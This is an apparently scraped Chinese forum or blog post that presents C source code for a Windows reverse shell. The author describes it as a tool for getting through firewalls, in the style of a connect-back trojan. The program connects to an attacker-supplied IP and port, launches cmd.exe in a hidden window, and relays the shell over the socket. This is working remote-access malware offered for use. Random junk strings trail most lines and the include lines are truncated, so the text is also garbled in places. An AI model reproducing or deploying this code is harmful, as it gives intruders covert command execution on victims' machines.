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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [Hy0j*  
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/* ============================== ,*8}TIS(s  
Rebound port in Windows NT yb56nd  
By wind,2006/7 $S|bD$e  
===============================*/ |2AK~t|t  
#include j%Y`2Ra  
#include i}N'W V`!  
([iMOE[D3  
#pragma comment(lib,"wsock32.lib") `Q^G k{9P  
* Ibl+  
void OutputShell(); X a#`VDh  
SOCKET sClient; g:`V:kbY$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^k]OQc7q'  
wqJ^tA!  
void main(int argc,char **argv) 3|-)]^1O  
{ NMM0'tY~  
WSADATA stWsaData; ?V"X=B2  
int nRet; DzYi> E:*  
SOCKADDR_IN stSaiClient,stSaiServer; 1om:SHw  
+'Pf|S  
if(argc != 3) p]:5S_$  
{ ihBlP\C  
printf("Useage:\n\rRebound DestIP DestPort\n"); i&$L$zf,  
return; h)7{Cj  
} ;'NB6[x  
~[e;{45V  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6%~ Z^>`N  
q3TAWNzI0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v1<3y~'f  
M%5qx,JQY  
stSaiClient.sin_family = AF_INET; nAG2!2_8  
stSaiClient.sin_port = htons(0); Zsc710_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ( e6JI]tz{  
TZTi:\nS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Tn< <i  
{ uV`r_P  
printf("Bind Socket Failed!\n"); m!SxX&m"G  
return; v#{Sx>lO  
} e<6fe-g9;  
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stSaiServer.sin_family = AF_INET; ({i}EC7{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,<0R'R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XT> u/Z)  
!E8y!|7$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3#`_t :"A  
{ C|bnUN  
printf("Connect Error!"); n|sP0,$N1  
return; EE(1;] d-  
} #S)+eH  
OutputShell(); WM$}1:O  
} -61{ MMiA  
ozwPtF5  
void OutputShell() "MQy>mD6  
{ UUJbF$@;  
char szBuff[1024]; oP;"`^_  
SECURITY_ATTRIBUTES stSecurityAttributes; / CEnyE/  
OSVERSIONINFO stOsversionInfo; X*hY?'Rp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YAQ]2<H  
STARTUPINFO stStartupInfo;  yaza  
char *szShell; AE? 0UVI  
PROCESS_INFORMATION stProcessInformation; / E}L%OvE  
unsigned long lBytesRead; +XCLdf}dC  
d*$$E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /#lhRNX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]=!wMn**  
stSecurityAttributes.lpSecurityDescriptor = 0; ?~c=Sa-  
stSecurityAttributes.bInheritHandle = TRUE; `dekaRo  
smaPZ^;; j  
n4\UoKq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L"{qF<@V7&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4v9jGwnzt  
kk#%x#L[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); R?Zv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EK`}?>'  
stStartupInfo.wShowWindow = SW_HIDE; :@#9P,"  
stStartupInfo.hStdInput = hReadPipe; -d5b,leC^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; djJD'JL  
4Bg"b/kF  
GetVersionEx(&stOsversionInfo); V,:^@ 7d  
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switch(stOsversionInfo.dwPlatformId) dZ}gf}.v  
{ `Cq&;-u  
case 1: g<U\7Vp\1  
szShell = "command.com"; NU[{ANbl  
break; ._'AJhU$0  
default: z,dh?%H>X  
szShell = "cmd.exe"; l7#5.%A  
break; IlN: NS  
} #$W02L8  
E| eEAa  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BV)o F2b:  
!Q[j;f   
send(sClient,szMsg,77,0); <8;SSdoKi  
while(1) !2L?8oP-z  
{ &?X0;,5)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BwOIdz%]OY  
if(lBytesRead) 1.Kun !w  
{ ?-M?{De   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )1?#q[x  
send(sClient,szBuff,lBytesRead,0); J]G] <)  
} I<E~=  
else ;IyA"C(i  
{ 0 PEg `Wq  
lBytesRead=recv(sClient,szBuff,1024,0); |pLx,#n  
if(lBytesRead<=0) break; (~S=DFsP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h pf,44Kg  
} PgOOFRwP  
} >u?m Bx  
+/O3L=QyJ  
return; (4]M7b[S$  
}
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